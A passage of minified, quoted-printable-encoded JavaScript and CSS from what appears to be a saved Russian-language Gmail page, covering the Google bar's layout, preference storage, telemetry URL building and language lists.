);Fb\x3c\x3dBb\x26\x26(Db\x3de);Fb\x3c\x3dCb\x26\x26(Eb\x3de)}var T\x3dh;= function Gb(){var a\x3d0,b\x3dfunction(b,d){p.a(d)\x26\x26(a|\x3db)};b(1,= "1");b(2,"1");b(4,"");b(8,"");return a}\nfunction Hb(a,b){var c\x3dBb,d\x= 3dDb,g;g\x3da;if(!T){T\x3d{};for(var f\x3d0;f\x3cAb.length;f++){var l\x3d= Ab[f];T[l]\x3de}}if(g\x3d!!T[g])c\x3dCb,d\x3dEb;if(d){d\x3dencodeURICompo= nent;g\x3d"es_plusone_gc_20121207.0_p1";m.rp?(f\x3dm.rp(),f\x3d"-1"!\x3df= ?f:""):f\x3d"";c\x3d["//www./gen_204?atyp\x3di\x26zx\x3d",(new Date).getT= ime(),"\x26oge\x3d",a,"\x26ogex\x3d",d("37102"),"\x26ogev\x3d",d("0"),"\x= 26ogf\x3d",m.bv.f,"\x26ogp\x3d",d("23"),"\x26ogrp\x3d",d(f),"\x26ogsr\x3d= ",Math.round(1/c),"\x26ogv\x3d",\nd("1355368931.1355175420"),g?"\x26oggv\= x3d"+d(g):"","\x26ogd\x3d",d("com"),"\x26ogl\x3d",d("ru"),"\x26ogus\x3d",= Gb()];if(b){"ogw"in b\x26\x26(c.push("\x26ogw\x3d"+b.ogw),delete b.ogw);v= ar k;g\x3db;f\x3d[];for(k in g)0!\x3df.length\x26\x26f.push(","),f.push(k= ),f.push("."),f.push(g[k]);k\x3df.join("");""!\x3dk\x26\x26(c.push("\x26o= gad\x3d"),c.push(d(k)))}v(c.join(""))}}u\x3dHb;r("il",u,w);var Ib\x3d{};x= .il\x3dIb;var Jb\x3dfunction(a,b,c,d,g,f,l,k,n,q){C(function(){m.paa(a,b,= c,d,g,f,l,k,n,q)})},Kb\x3dfunction(){C(function(){m.prm()})},Lb\x3dfuncti= on(a){C(function(){m.spn(a)})},Mb\x3dfunction(a){C(function(){m.sps(a)})}= ,Nb\x3dfunction(a){C(function(){m.spp(a)})},Ob\x3d{"27":"//lh6.userconten= t.zero/-M7m5KjEjAj4/AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiOxwGI/s27-c/photo.jpg",= "27":"//lh6.usercontent.zero/-M7m5KjEjAj4/AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiO= xwGI/s27-c/photo.jpg","27":"//lh6.usercontent.zero/-M7m5KjEjAj4/AAAAAAAAA= AI/AAAAAAAAAAA/8PwWyiOxwGI/s27-c/photo.jpg"},Pb\x3dfunction(a){return(a\x= 3dOb[a])||"//lh6.usercontent.zero/-M7m5KjEjAj4/AAAAAAAAAAI/AAAAAAAAAAA/8P= wWyiOxwGI/s27-c/photo.jpg"},\nQb\x3dfunction(){C(function(){m.spd()})};r(= "spn",Lb);r("spp",Nb);r("sps",Mb);r("spd",Qb);r("paa",Jb);r("prm",Kb);db(= "gbd4",Kb);\nif(p.a("1")){var Rb\x3d{d:p.a("1"),e:"",sanw:p.a("1"),p:"//l= h6.usercontent.zero/-M7m5KjEjAj4/AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiOxwGI/s96-= c/photo.jpg",cp:"1",xp:p.a("1"),mg:"%1$s (\u0434\u0435\u043b\u0435\u0433\= u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439)",md:"%1$s (\u043f\= u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e)",mh:"276",s= :"1",pp:Pb,ppl:p.a(""),ppa:p.a("1"),\nppm:"+\u0441\u0442\u0440\u0430\u043= d\u0438\u0446\u0430"};x.prf\x3dRb};var U,Sb,V,Tb,W\x3d0,Ub\x3dfunction(a,= b,c){if(a.indexOf)return a.indexOf(b,c);if(Array.indexOf)return Array.ind= exOf(a,b,c);for(c\x3dc\x3d\x3dh?0:0\x3ec?Math.max(0,a.length+c):c;c\x3ca.= length;c++)if(c in a\x26\x26a[c]\x3d\x3d\x3db)return c;return-1},Y\x3dfun= ction(a,b){return-1\x3d\x3dUb(a,W)?(s(Error(W+"_"+b),"up","caa"),j):e},Wb= \x3dfunction(a,b){Y([1,2],"r")\x26\x26(U[a]\x3dU[a]||[],U[a].push(b),2\x3= d\x3dW\x26\x26window.setTimeout(function(){b(Vb(a))},0))},Xb\x3dfunction(= a,b,c){if(Y([1],"nap")\x26\x26c){for(var d\x3d0;d\x3cc.length;d++)Sb[c[d]= ]\x3de;m.up.spl(a,b,"nap",c)}},Yb\x3dfunction(a,\nb,c){if(Y([1],"aop")\x2= 6\x26c){if(V)for(var d in V)V[d]\x3dV[d]\x26\x26-1!\x3dUb(c,d);else{V\x3d= {};for(d\x3d0;d\x3cc.length;d++)V[c[d]]\x3de}m.up.spl(a,b,"aop",c)}},Zb\x= 3dfunction(){try{if(W\x3d2,!Tb){Tb\x3de;for(var a in U)for(var b\x3dU[a],= c\x3d0;c\x3cb.length;c++)try{b[c](Vb(a))}catch(d){s(d,"up","tp")}}}catch(= g){s(g,"up","mtp")}},Vb\x3dfunction(a){if(Y([2],"ssp")){var b\x3d!Sb[a];V= \x26\x26(b\x3db\x26\x26!!V[a]);return b}};Tb\x3dj;U\x3d{};Sb\x3d{};V\x3dh= ;\nvar W\x3d1,$b\x3dfunction(){try{return!!window.localStorage\x26\x26"ob= ject"\x3d\x3dtypeof window.localStorage}catch(a){return j}},ac\x3dfunctio= n(a){return a\x26\x26a.style\x26\x26a.style.g\x26\x26"undefined"!\x3dtype= of a.load},bc\x3dfunction(a,b,c,d){try{d||(b\x3d"og-up-"+b),$b()?window.l= ocalStorage.setItem(b,c):ac(a)\x26\x26(a.setAttribute(b,c),a.save(a.id))}= catch(g){g.code!\x3dDOMException.QUOTA_EXCEEDED_ERR\x26\x26s(g,"up","spd"= )}},cc\x3dfunction(a,b,c){try{c||(b\x3d"og-up-"+b);if($b())return window.= localStorage.getItem(b);if(ac(a))return a.load(a.id),a.getAttribute(b)}ca= tch(d){d.code!\x3d\nDOMException.QUOTA_EXCEEDED_ERR\x26\x26s(d,"up","gpd"= )}return""},dc\x3dfunction(a,b,c){a.addEventListener?a.addEventListener(b= ,c,j):a.attachEvent\x26\x26a.attachEvent("on"+b,c)};r("up",{r:Wb,nap:Xb,a= op:Yb,tp:Zb,ssp:Vb,spd:bc,gpd:cc,aeh:dc});var ec\x3dfunction(a,b){a[b]\x3= dfunction(c){var d\x3darguments;m.qm(function(){a[b].apply(this,d)})}};ec= (m.up,"sl");ec(m.up,"si");ec(m.up,"spl");m.mcf("up",{sp:p.b("0.01",1)});f= unction fc(){function a(){for(var b;(b\x3df[l++])\x26\x26!("m"\x3d\x3db[0= ]||b[1].auto););b\x26\x26(D(2,b[0]),b[1].url\x26\x26oa(b[1].url,b[0]),b[1= ].libs\x26\x26E\x26\x26E(b[1].libs));l\x3cf.length\x26\x26setTimeout(a,0)= }function b(){0\x3cg--?setTimeout(b,0):a()}var c\x3dp.a(""),d\x3dp.a("1")= ,g\x3d3,f\x3dy,l\x3d0,k\x3dwindow.gbarOnReady;if(k)try{k()}catch(n){s(n,"= ml","or")}d?r("ldb",a):c?ca(window,"load",b):b()}r("rdl",fc);}catch(e){wi= ndow.gbar\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"cfg.init"});= }})();\n(function(){try{var b\x3dwindow.gbar;var d\x3dfunction(a,c){b[a]\= x3dfunction(){return window.navigator\x26\x26window.navigator.userAgent?c= (window.navigator.userAgent):!1}},e\x3dfunction(a){return!/AppleWebKit\\/= .+(?:Version\\/3\\.|Chrome\\/[01]\\.)/.test(a)};d("bs_w",e);}catch(e){win= dow.gbar\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"cfg.init"});}= })();\n(function(){try{var a\x3dwindow.gbar;a.mcf("sf",{});}catch(e){wind= ow.gbar\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"cfg.init"});}}= )();\n(function(){try{var aa\x3dwindow.gbar.i.i;var a\x3dwindow.gbar;var = e\x3da.i;var j,l,t\x3dfunction(b,d){aa(b,"es",d)},u\x3dfunction(b){return= document.getElementById(b)},v\x3dfunction(b,d){var f\x3dArray.prototype.= slice.call(arguments,1);return function(){var c\x3dArray.prototype.slice.= call(arguments);c.unshift.apply(c,f);return b.apply(this,c)}},w\x3dvoid 0= ,x\x3dvoid 0,ba\x3de.c("840"),ha\x3de.c("640");e.c("840");\nvar ia\x3de.c= ("640"),ja\x3de.c("590"),ka\x3de.c("1514"),la\x3de.c("1474");e.c("1474");= var ma\x3de.c("1252"),na\x3de.c("1060"),oa\x3de.c("995"),pa\x3de.c("851")= ,z\x3d{},A\x3d{},B\x3d{},C\x3d{},D\x3d{},E\x3d{},F\x3d{};z.h\x3de.c("72")= ;z.m\x3de.c("44");z.f\x3de.c("220");\nA.h\x3de.c("72");A.m\x3de.c("44");A= .f\x3de.c("220");B.h\x3de.c("72");B.m\x3de.c("44");B.f\x3de.c("220");C.h\= x3de.c("72");C.m\x3de.c("28");C.f\x3de.c("204");D.h\x3de.c("46");D.m\x3de= .c("16");D.f\x3de.c("176");E.h\x3de.c("46");\nE.m\x3de.c("16");E.f\x3de.c= ("176");F.h\x3de.c("46");F.m\x3de.c("12");F.f\x3de.c("136");\nvar G\x3de.= c("16"),H\x3de.c("200"),qa\x3de.c("434"),ra\x3de.c("319"),sa\x3de.c("512"= ),ta\x3de.c("512"),ua\x3de.c("512"),va\x3de.c("434"),wa\x3de.c("319"),xa\= x3de.c("220"),ya\x3de.c("220"),za\x3de.c("220"),\nAa\x3de.c("204"),Ba\x3d= e.c("176"),Ca\x3de.c("176"),Da\x3de.c("136"),Ea\x3de.c("15"),Fa\x3de.c("1= 5"),I\x3de.c("15"),Ga\x3de.c("15"),Ha\x3de.c("6"),Ia\x3de.c("6"),Ja\x3de.= c("6"),\nKa\x3de.c("44"),La\x3de.c("44"),Ma\x3de.c("44"),Na\x3de.c("28"),= Oa\x3de.c("16"),Pa\x3de.c("16"),Qa\x3de.c("12"),Ra\x3de.c("30");e.a("1");= \nvar Sa\x3de.c("700"),Ta\x3d"gb,gbq,gbu,gbzw,gbpr,gbq2,gbqf,gbqff,gbq3,g= bq1,gbqlw,gbql,gbx1,gbx2,gbx3,gbx4,gbg1,gbg3,gbg4,gbd1,gbd3,gbd4,gbs,gbwc= ,gbprc".split(","),K\x3d["gbzw"],O\x3de.a(""),Ua\x3de.a(""),P\x3d[],T\x3d= !0,V\x3dfunction(b){try{a.close();var d\x3de.c("27");"xxl"\x3d\x3db?(U("g= bexxl"),d\x3de.c("27")):"xl"\x3d\x3db?(U("gbexl"),d\x3de.c("27")):"lg"\x3= d\x3db?(U(""),d\x3de.c("27")):\n"md"\x3d\x3db?(U("gbem"),d\x3de.c("27")):= "sm"\x3d\x3db?U("gbes"):"ty"\x3d\x3db?U("gbet"):"ut"\x3d\x3db\x26\x26U("g= beu");if(window.opera)for(var f\x3dK.length,b\x3d0;b\x3cf;b++){var c\x3du= (K[b]);if(c){var p\x3dc.style.display;c.style.display\x3d"none";b+\x3d0*c= .clientHeight;c.style.display\x3dp}}a.sps(d)}catch(q){t(q,"stem")}},Va\x3= dv(V,"xxl"),Wa\x3dv(V,"xl"),Xa\x3dv(V,"lg"),Ya\x3dv(V,"md"),Za\x3dv(V,"sm= "),$a\x3dv(V,"ty"),ab\x3dv(V,"ut"),Y\x3dfunction(b){try{V(b);var d\x3de.j= ("Height"),f\x3de.j("Width"),c\x3dB;switch(b){case "ut":c\x3dF;break;case= "ty":c\x3d\nE;break;case "sm":c\x3dD;break;case "md":c\x3dC;break;case "= lg":c\x3dB;break;case "xl":c\x3dA;break;case "xxl":c\x3dz}W(d,f,b,c);X()}= catch(p){t(p,"seme")}},bb\x3dfunction(b){try{P.push(b)}catch(d){t(d,"roec= ")}},cb\x3dfunction(){if(T)try{for(var b\x3d0,d;d\x3dP[b];++b)d(j)}catch(= f){t(f,"eoec")}},db\x3dfunction(b){try{return T\x3db}catch(d){t(d,"ear")}= },eb\x3dfunction(){var b\x3de.j("Height"),d\x3de.j("Width"),f\x3dB,c\x3d"= lg";if(d\x3cpa\x26\x26O)c\x3d"ut",f\x3dF;else if(d\x3coa\x26\x26O)c\x3d"t= y",f\x3dE;else if(d\x3cna||b\x3cja)c\x3d"sm",f\x3dD;else if(d\x3cma||b\x3= cia)c\x3d"md",f\x3dC;Ua\x26\x26(d\x3ela\x26\x26\nb\x3eha\x26\x26(c\x3d"xl= ",f\x3dA),d\x3eka\x26\x26b\x3eba\x26\x26(c\x3d"xxl",f\x3dz));W(b,d,c,f);r= eturn c},X\x3dfunction(){try{var b\x3du("gbx1");if(b){var d\x3da.rtl(u("g= b")),f\x3db.clientWidth,b\x3df\x3c\x3dSa,c\x3du("gb_70"),p\x3du("gbg4"),q= \x3du("gbg6")||p;if(!w)if(c)w\x3dc.clientWidth;else if(q)w\x3dq.clientWid= th;else return;if(!x){var r\x3du("gbg3");r\x26\x26(x\x3dr.clientWidth)}va= r L\x3dj.mo,s,k,m;switch(L){case "xxl":s\x3dKa;k\x3dEa;m\x3dxa;break;case= "xl":s\x3dLa;k\x3dFa;m\x3dya;break;case "md":s\x3dNa;k\x3dGa;m\x3dAa;bre= ak;case "sm":s\x3dOa-G;k\x3dHa;m\x3dBa;break;case "ty":s\x3dPa-G;k\x3dIa;= m\x3dCa;break;case "ut":s\x3dQa-\nG;k\x3dJa;m\x3dDa;break;default:s\x3dMa= ,k\x3dI,m\x3dza}var n\x3da.snw\x26\x26a.snw();n\x26\x26(m+\x3dn+k);var n\= x3dw,y\x3du("gbg1");y\x26\x26(n+\x3dy.clientWidth+k);(r\x3du("gbg3"))\x26= \x26(n+\x3dx+k);var Q\x3du("gbgs4dn");p\x26\x26!Q\x26\x26(n+\x3dp.clientW= idth+k);var ca\x3du("gbd4"),R\x3du("gb_71");R\x26\x26!ca\x26\x26(n+\x3dR.= clientWidth+k+I);var n\x3dMath.min(304,n),S\x3dm+s,M\x3du("gbqfbw");M\x26= \x26(M.style.display\x3d"",S+\x3dM.clientWidth+Ra);m\x3df-S;var da\x3du("= gbqf"),ea\x3du("gbqff"),h\x3da.gpcc\x26\x26a.gpcc();if(da\x26\x26ea\x26\x= 26!h){h\x3df-n-S;switch(L){case "ut":h\x3dMath.min(h,wa);h\x3dMath.max(h,= ra);break;case "ty":h\x3dMath.min(h,va);\nh\x3dMath.max(h,qa);break;case = "xl":h\x3dMath.min(h,ua);h\x3dMath.max(h,H);break;case "xxl":h\x3dMath.mi= n(h,ta);h\x3dMath.max(h,H);break;default:h\x3dMath.min(h,sa),h\x3dMath.ma= x(h,H)}da.style.maxWidth\x3dh+"px";ea.style.maxWidth\x3dh+"px";m-\x3dh}va= r g\x3du("gbgs3");if(g){var L\x3d236\x3e\x3dm,fa\x3da.cc(g,"gbsbc");L\x26= \x26!fa?(a.ca(g,"gbsbc"),a.close()):!L\x26\x26fa\x26\x26(a.cr(g,"gbsbc"),= a.close())}g\x3dm;y\x26\x26(y.style.display\x3d"",g-\x3dy.clientWidth+k);= r\x26\x26(r.style.display\x3d"",g-\x3dr.clientWidth+k);p\x26\x26!Q\x26\x2= 6(g-\x3dp.clientWidth+k);R\x26\x26!ca\x26\x26(g-\x3dR.clientWidth+k+I);va= r p\x3dQ?\n0:35,N\x3dQ||u("gbi4t");if(N\x26\x26!c){g\x3ep?(N.style.displa= y\x3d"",N.style.maxWidth\x3dg+"px"):N.style.display\x3d"none";q\x26\x26(q= .style.width\x3dg\x3cw\x26\x26g\x3ep?g+"px":"");var ga\x3du("gbgs4d"),q\x= 3d"left";w\x3eg^d\x26\x26(q\x3d"right");N.style.textAlign\x3dq;ga\x26\x26= (ga.style.textAlign\x3dq)}r\x26\x260\x3eg\x26\x26(g+\x3dr.clientWidth,r.s= tyle.display\x3d"none");y\x26\x260\x3eg\x26\x26(g+\x3dy.clientWidth,y.sty= le.display\x3d"none");if(M\x26\x26(0\x3eg||c\x26\x26g\x3cc.clientWidth))M= .style.display\x3d"none";var c\x3dd?"right":"left",d\x3dd?"left":"right",= J\x3du("gbu"),hb\x3d""!\x3dJ.style[c];b?(J.style[c]\x3df-J.clientWidth-s+= "px",J.style[d]\x3d\n"auto"):(J.style[c]\x3d"",J.style[d]\x3d"");b!\x3dhb= \x26\x26a.swsc\x26\x26a.swsc(b)}}catch(ib){t(ib,"cb")}},W\x3dfunction(b,d= ,f,c){j\x3d{};j.mo\x3df;j.vh\x3db;j.vw\x3dd;j.es\x3dc;f!\x3dl\x26\x26(cb(= ),e.f\x26\x26e.f())},fb\x3dfunction(b){z.h+\x3db;A.h+\x3db;B.h+\x3db;C.h+= \x3db;D.h+\x3db;E.h+\x3db;F.h+\x3db},gb\x3dfunction(){return j},jb\x3dfun= ction(){try{if(!0\x3d\x3dT){var b\x3dl;l\x3deb();if(b!\x3dl)switch(l){cas= e "ut":ab();break;case "ty":$a();break;case "sm":Za();break;case "md":Ya(= );break;case "xl":Wa();break;case "xxl":Va();break;default:Xa()}}X()}catc= h(d){t(d,"sem")}},U\x3dfunction(b){var d\x3d\nu("gb");d\x26\x26Z(d,"gbexx= li,gbexli,,gbemi,gbesi,gbeti,gbeui".split(","));for(var d\x3d[],f\x3d0,c;= c\x3dTa[f];f++)if(c\x3du(c)){switch(b){case "gbexxl":Z(c,"gbexl,,gbem,gbe= s,gbet,gbeu".split(","));a.ca(c,b);break;case "gbexl":Z(c,"gbexxl,,gbem,g= bes,gbet,gbeu".split(","));a.ca(c,b);break;case "":Z(c,"gbexxl,gbexl,gbem= ,gbes,gbet,gbeu".split(","));a.ca(c,b);break;case "gbem":Z(c,"gbexxl,gbex= l,,gbes,gbet,gbeu".split(","));a.ca(c,b);break;case "gbes":Z(c,"gbexxl,gb= exl,,gbem,gbet,gbeu".split(","));a.ca(c,b);break;case "gbet":Z(c,\n"gbexx= l,gbexl,,gbem,gbes,gbeu".split(","));a.ca(c,b);break;case "gbeu":Z(c,"gbe= xxl,gbexl,,gbem,gbes,gbet".split(",")),a.ca(c,b)}d.push(c)}return d},Z\x3= dfunction(b,d){for(var f\x3d0,c\x3dd.length;f\x3cc;++f)d[f]\x26\x26a.cr(b= ,d[f])},kb\x3dfunction(){try{if(!0\x3d\x3dT)switch(eb()){case "ut":$("gbe= ui");break;case "ty":$("gbeti");break;case "sm":$("gbesi");break;case "md= ":$("gbemi");break;case "xl":$("gbexli");break;case "xxl":$("gbexxli");br= eak;default:$("")}X()}catch(b){t(b,"semol")}},$\x3dfunction(b){var d\x3du= ("gb");d\x26\x26a.ca(d,\nb)};a.eli\x3dkb;a.elg\x3djb;a.elxxl\x3dv(Y,"xxl"= );a.elxl\x3dv(Y,"xl");a.ell\x3dv(Y,"lg");a.elm\x3dv(Y,"md");a.els\x3dv(Y,= "sm");a.elr\x3dgb;a.elc\x3dbb;a.elx\x3dcb;a.elh\x3dfb;a.ela\x3ddb;a.elp\x= 3dX;a.upel\x3dv(Y,"lg");a.upes\x3dv(Y,"md");a.upet\x3dv(Y,"sm");kb();jb()= ;a.mcf("el",{});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logg= er.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;= var d\x3dfunction(){return document.getElementById("gbqfqw")},h\x3dfuncti= on(){return document.getElementById("gbqfq")},j\x3dfunction(){return docu= ment.getElementById("gbqf")},k\x3dfunction(){return document.getElementBy= Id("gbqfb")},m\x3dfunction(b){var c\x3ddocument.getElementById("gbqfaa");= c.appendChild(b);l()},n\x3dfunction(b){var c\x3ddocument.getElementById("= gbqfab");c.appendChild(b);l()},l\x3dfunction(){var b\x3ddocument.getEleme= ntById("gbqfqwb");if(b){var c\x3ddocument.getElementById("gbqfaa"),e\x3dd= ocument.getElementById("gbqfab");\nif(c||e){var f\x3d"left",g\x3d"right";= a.rtl(document.getElementById("gb"))\x26\x26(f\x3d"right",g\x3d"left");c\= x26\x26(b.style[f]\x3dc.offsetWidth+"px");e\x26\x26(b.style[g]\x3de.offse= tWidth+"px")}}},p\x3dfunction(b){a.qm(function(){a.qfhi(b)})};a.qfgw\x3dd= ;a.qfgq\x3dh;a.qfgf\x3dj;a.qfas\x3dm;a.qfae\x3dn;a.qfau\x3dl;a.qfhi\x3dp;= a.qfsb\x3dk;}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logger.m= l(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;a.mc= f("pm",{p:""});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logge= r.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;a= .mcf("mm",{s:"1"});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.l= ogger.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gb= ar;var f\x3dfunction(b,c,d,e){a.qm(function(){a.tsl(b,c,d,e)})},g\x3dfunc= tion(b){a.qm(function(){a.tst(b)})};a.tsl\x3df;a.tst\x3dg;a.mcf("t",{});}= catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"c= fg.init"});}})();\n(function(){try{window.gbar.rdl();}catch(e){window.gba= r\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"cfg.init"});}})();\n= ', "#gb{font:13px/27px Arial,sans-serif;height:72px}#gbz,#gbg{position:absol= ute;white-space:nowrap;top:0;height:30px;z-index:1000}#gbz{left:0;padding= -left:4px}#gbg{right:0;padding-right:5px}#gbs{background:transparent;posi= tion:absolute;top:-999px;visibility:hidden;z-index:998}.gbto #gbs{backgro= und:#fff}#gbx3,#gbx4{background-color:#2d2d2d;background-image:none;_back= ground-image:none;background-position:0 -138px;background-repeat:repeat-x= ;border-bottom:1px solid #000;font-size:24px;height:29px;_height:30px;opa= city:1;filter:alpha(opacity\x3d100);position:absolute;top:0;width:100%;z-= index:990}#gbx3{left:0}#gbx4{right:0}#gbb{position:relative}#gbbw{left:0;= position:absolute;top:72px;width:100%}.gbtcb{position:absolute;visibility= :hidden}#gbz .gbtcb{right:0}#gbg .gbtcb{left:0}.gbxx{display:none !import= ant}.gbxo{opacity:0 !important;filter:alpha(opacity\x3d0) !important}.gbm= {position:absolute;z-index:999;top:-999px;visibility:hidden;text-align:le= ft;border:1px solid #gbi4t.gbthb,#gbg4 #gbgs4d.gbthb{color:#eee;text-shad= ow:0 0 4px rgba(0, 0, 0, .4)}", 1,1,"//ssl.gstatic.zero/ui/v1/icons/mail/logo_default.png","//ssl.gstatic= .zero/ui/v1/icons/mail/logo_black.png","//ssl.gstatic.zero/ui/v1/icons/ma= il/logo_white.png"],["tp",["zh","sq","da","no","bg","it","sl","ga","fr","= sr","cs","ms","fi","de","es","el","sk","et","is","yi","af","sw","zh-Hant"= ,"ht","ja","ko","tr","be","cy","hr","gl","hi","ru","ro","fil","ar","iw","= mk","nl","th","ca","uk","id","en","lv","lt","vi","hu","pl","pt","fa","sv"= ,"mt"],["zh","sq","da","no","bg","it","sl","ga","fr","sr","cs","ms", "fi","de","es","el","sk","et","is","yi","af","sw","zh-Hant","ht","ja","ko= ","tr","be","cy","hr","gl","hi","ru","ro","fil","ar","iw","mk","nl","th",= "ca","uk","id","en","lv","lt","vi","hu","pl","pt","fa","sv","mt"],["\u043= 0\u043b\u0431\u0430\u043d\u0441\u043a\u0438\u0439","sq","\u0430\u043d\u04= 33\u043b\u0438\u0439\u0441\u043a\u0438\u0439","en","\u0430\u0440\u0430\u0= 431\u0441\u043a\u0438\u0439","ar","\u0430\u0444\u0440\u0438\u043a\u0430\u= 0430\u043d\u0441","af","\u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\= u043a\u0438\u0439", "be","\u0431\u043e\u043b\u0433\u0430\u0440\u0441\u043a\u0438\u0439","bg",= "\u0432\u0430\u043b\u043b\u0438\u0439\u0441\u043a\u0438\u0439","cy","\u04= 32\u0435\u043d\u0433\u0435\u0440\u0441\u043a\u0438\u0439","hu","\u0432\u0= 44c\u0435\u0442\u043d\u0430\u043c\u0441\u043a\u0438\u0439","vi","\u0433\u= 0430\u0438\u0442\u044f\u043d\u0441\u043a\u0438\u0439","ht","\u0433\u0430\= u043b\u0438\u0441\u0438\u0439\u0441\u043a\u0438\u0439","gl","\u0433\u043e= \u043b\u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","nl","\u0433\u044= 0\u0435\u0447\u0435\u0441\u043a\u0438\u0439", "el","\u0434\u0430\u0442\u0441\u043a\u0438\u0439","da","\u0438\u0432\u044= 0\u0438\u0442","iw","\u0438\u0434\u0438\u0448","yi","\u0438\u043d\u0434\u= 043e\u043d\u0435\u0437\u0438\u0439\u0441\u043a\u0438\u0439","id","\u0438\= u0440\u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","ga","\u0438\u0441= \u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","is","\u0438\u0441\u043= f\u0430\u043d\u0441\u043a\u0438\u0439","es","\u0438\u0442\u0430\u043b\u04= 4c\u044f\u043d\u0441\u043a\u0438\u0439","it","\u043a\u0430\u0442\u0430\u0= 43b\u0430\u043d\u0441\u043a\u0438\u0439", "ca","\u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439","zh","\u043= a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 (\u0422\u0440\u0430\u04= 34\u0438\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043a\u0438\u0442\u04= 30\u0439\u0441\u043a\u0430\u044f)","zh-Hant","\u043a\u043e\u0440\u0435\u0= 439\u0441\u043a\u0438\u0439","ko","\u043b\u0430\u0442\u044b\u0448\u0441\u= 043a\u0438\u0439","lv","\u043b\u0438\u0442\u043e\u0432\u0441\u043a\u0438\= u0439","lt","\u043c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438= \u0439", "mk","\u043c\u0430\u043b\u0430\u0439\u0441\u043a\u0438\u0439","ms","\u043= c\u0430\u043b\u044c\u0442\u0438\u0439\u0441\u043a\u0438\u0439","mt","\u04= 3d\u0435\u043c\u0435\u0446\u043a\u0438\u0439","de","\u043d\u043e\u0440\u0= 432\u0435\u0436\u0441\u043a\u0438\u0439","no","\u043f\u0435\u0440\u0441\u= 0438\u0434\u0441\u043a\u0438\u0439","fa","\u043f\u043e\u043b\u044c\u0441\= u043a\u0438\u0439","pl","\u043f\u043e\u0440\u0442\u0443\u0433\u0430\u043b= \u044c\u0441\u043a\u0438\u0439","pt","\u0440\u0443\u043c\u044b\u043d\u044= 1\u043a\u0438\u0439", "ro","\u0440\u0443\u0441\u0441\u043a\u0438\u0439","ru","\u0441\u0435\u044= 0\u0431\u0441\u043a\u0438\u0439","sr","\u0441\u043b\u043e\u0432\u0430\u04= 46\u043a\u0438\u0439","sk","\u0441\u043b\u043e\u0432\u0435\u043d\u0441\u0= 43a\u0438\u0439","sl","\u0441\u0443\u0430\u0445\u0438\u043b\u0438","sw","= \u0442\u0430\u0439\u0441\u043a\u0438\u0439","th","\u0442\u0443\u0440\u043= 5\u0446\u043a\u0438\u0439","tr","\u0443\u043a\u0440\u0430\u0438\u043d\u04= 41\u043a\u0438\u0439","uk","\u0444\u0438\u043b\u0438\u043f\u043f\u0438\u0= 43d\u0441\u043a\u0438\u0439", "fil","\u0444\u0438\u043d\u0441\u043a\u0438\u0439","fi","\u0444\u0440\u04= 30\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0439","fr","\u0445\u0438\u0= 43d\u0434\u0438","hi","\u0445\u043e\u0440\u0432\u0430\u0442\u0441\u043a\u= 0438\u0439","hr","\u0447\u0435\u0448\u0441\u043a\u0438\u0439","cs","\u044= 8\u0432\u0435\u0434\u0441\u043a\u0438\u0439","sv","\u044d\u0441\u0442\u04= 3e\u043d\u0441\u043a\u0438\u0439","et","\u044f\u043f\u043e\u043d\u0441\u0= 43a\u0438\u0439","ja"]],["tl",["am","ar","bn","el","fa","gu","hi", "kn","ml","mr","ne","pa","ru","sa","sr","ta","te","ti","ur"]],["udc"],["m= la",[["",1,0,0,"\u0421\u0435\u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u= 043d\u043e\u0432"]]],["ps",0,1,0,0,0,0],["mid","https://plus.","https://a= pis."]],"",,"?ui\x3d2\x26view\x3dbsp\x26ver\x3dohhl4rw8mbn4",[248,1089],1= 355555178097,,[5745,5387,5507,5576,5602,5836,10023,5570,5379,5541,5800,57= 93,5371,5516,5696,5893,5566,5369,10024,5384,5821,5041,5126,5058,5689,1001= 5,5699,5381,5930,5111,5660, 5802,5110,1E4,5641,5192,5579,5574,5499,5421,5749,5001,5390,5078,5237,5309= ,5042,5209,5439,5376,5837,5676,5344,5538,5568,5905,5704,5342,5928,5652,55= 95,5799,10027,5773,5662,5750,5724,5372,5556,5518,5887,10013,10029,5894,58= 65,5790,5646,5380,5500,5815,5866,5020,5805,10025,5747,5702,5526],"lsvjwaj= rtlp4","_40_40__40_","","dcaf",2,"_40_40__40_","https://mail./mail/b/77/u= /0/",,"530.17","4.0","9","0","",1,0,"1209600000","530.17","4.0","9","0","= 1"];GLOBALS[0]=3DGM_START_TIME;var pr=3D0;var lp=3D0; var npc=3D0;function sc(k,v){document.cookie=3Dk+"\x3d"+v+";path\x3d"+GLO= BALS[7]}function onLoadTimeout(){if(ssm)return;if(pr>lp){lp=3Dpr;npc=3D0;= loadTimeout=3DsetTimeout(onLoadTimeout,1E4);return}var d=3Ddocument;npc++= ;if(npc<2){loadTimeout=3DsetTimeout(onLoadTimeout,2E4);return}if(top["_AM= 